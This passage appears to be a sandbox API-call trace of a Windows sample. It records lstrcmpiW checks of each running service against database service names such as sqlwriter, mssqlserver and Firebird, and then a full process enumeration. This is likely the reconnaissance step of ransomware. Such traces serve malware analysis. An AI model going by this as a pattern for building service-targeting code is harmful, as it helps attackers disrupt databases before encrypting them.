returned 1 [0100.845] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0100.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0100.845] lstrlenW (lpString="ProfSvc") returned 7 [0100.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0100.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0100.845] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0100.845] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0100.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0100.845] lstrlenW (lpString="RpcEptMapper") returned 12 [0100.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0100.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0100.845] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0100.845] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0100.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0100.845] lstrlenW (lpString="RpcSs") returned 5 [0100.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0100.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0100.845] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0100.845] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0100.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0100.845] lstrlenW (lpString="SamSs") returned 5 [0100.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0100.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0100.845] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0100.845] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0100.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0100.846] lstrlenW (lpString="Schedule") returned 8 [0100.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0100.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0100.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0100.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0100.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0100.846] lstrlenW (lpString="SecurityHealthService") returned 21 [0100.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0100.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0100.846] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0100.846] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0100.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0100.846] lstrlenW (lpString="SENS") returned 4 [0100.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0100.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0100.846] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0100.846] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0100.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0100.846] lstrlenW (lpString="ShellHWDetection") returned 16 [0100.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0100.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0100.846] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0100.846] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0100.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0100.846] lstrlenW (lpString="Spooler") returned 7 [0100.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0100.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0100.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0100.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0100.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0100.847] lstrlenW (lpString="SSDPSRV") returned 7 [0100.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0100.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0100.847] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0100.847] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0100.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0100.847] lstrlenW (lpString="StateRepository") returned 15 [0100.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0100.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0100.847] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0100.847] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0100.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0100.847] lstrlenW (lpString="SysMain") returned 7 [0100.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0100.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0100.847] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0100.847] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0100.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d420 | out: hHeap=0x5b0000) returned 1 [0100.847] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0100.959] Process32FirstW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.960] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0100.960] lstrlenW (lpString="System") returned 6 [0100.960] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0100.961] lstrlenW (lpString="smss.exe") returned 8 [0100.961] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.961] lstrlenW (lpString="csrss.exe") returned 9 [0100.961] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0100.962] lstrlenW (lpString="wininit.exe") returned 11 [0100.962] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.963] lstrlenW (lpString="csrss.exe") returned 9 [0100.963] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0100.963] lstrlenW (lpString="winlogon.exe") returned 12 [0100.963] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0100.964] lstrlenW (lpString="services.exe") returned 12 [0100.964] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0100.965] lstrlenW (lpString="lsass.exe") returned 9 [0100.965] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.966] lstrlenW (lpString="svchost.exe") returned 11 [0100.966] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0100.966] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0100.966] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0100.967] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0100.967] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.968] lstrlenW (lpString="svchost.exe") returned 11 [0100.968] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0100.969] lstrlenW (lpString="dwm.exe") returned 7 [0100.969] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.970] lstrlenW (lpString="svchost.exe") returned 11 [0100.970] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.970] lstrlenW (lpString="svchost.exe") returned 11 [0100.970] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.971] lstrlenW (lpString="svchost.exe") returned 11 [0100.971] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.972] lstrlenW (lpString="svchost.exe") returned 11 [0100.972] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.973] lstrlenW (lpString="svchost.exe") returned 11 [0100.973] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.973] lstrlenW (lpString="svchost.exe") returned 11 [0100.973] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.974] lstrlenW (lpString="svchost.exe") returned 11 [0100.974] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.975] lstrlenW (lpString="svchost.exe") returned 11 [0100.975] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.976] lstrlenW (lpString="svchost.exe") returned 11 [0100.976] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0100.977] lstrlenW (lpString="spoolsv.exe") returned 11 [0100.977] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.978] lstrlenW (lpString="svchost.exe") returned 11 [0100.978] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.978] lstrlenW (lpString="svchost.exe") returned 11 [0100.978] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0100.979] lstrlenW (lpString="audiodg.exe") returned 11 [0100.979] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0100.980] lstrlenW (lpString="sihost.exe") returned 10 [0100.980] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.981] lstrlenW (lpString="svchost.exe") returned 11 [0100.981] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.981] lstrlenW (lpString="taskhostw.exe") returned 13 [0100.981] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0100.982] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0100.982] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0100.983] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0100.983] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0100.984] lstrlenW (lpString="explorer.exe") returned 12 [0100.984] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0100.984] lstrlenW (lpString="Memory Compression") returned 18 [0100.984] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0100.985] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0100.985] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0100.986] lstrlenW (lpString="SearchUI.exe") returned 12 [0100.986] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0100.987] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0100.987] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0100.987] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0100.987] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.988] lstrlenW (lpString="taskhostw.exe") returned 13 [0100.988] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0100.989] lstrlenW (lpString="UsoClient.exe") returned 13 [0100.989] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0100.990] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0100.990] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0102.519] lstrlenW (lpString="taskhostw.exe") returned 13 [0102.519] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0102.520] lstrlenW (lpString="msoia.exe") returned 9 [0102.520] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0102.521] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0102.521] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0102.522] lstrlenW (lpString="msoia.exe") returned 9 [0102.522] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0102.523] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0102.523] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0102.524] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0102.524] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0102.524] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0102.525] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0102.525] lstrlenW (lpString="arc obviously.exe") returned 17 [0102.526] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0102.526] lstrlenW (lpString="scholars.exe") returned 12 [0102.526] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0102.527] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0102.527] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0102.528] lstrlenW (lpString="organizing.exe") returned 14 [0102.528] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0102.529] lstrlenW (lpString="campus.exe") returned 10 [0102.529] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0102.530] lstrlenW (lpString="mug.exe") returned 7 [0102.530] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0102.531] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0102.531] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: 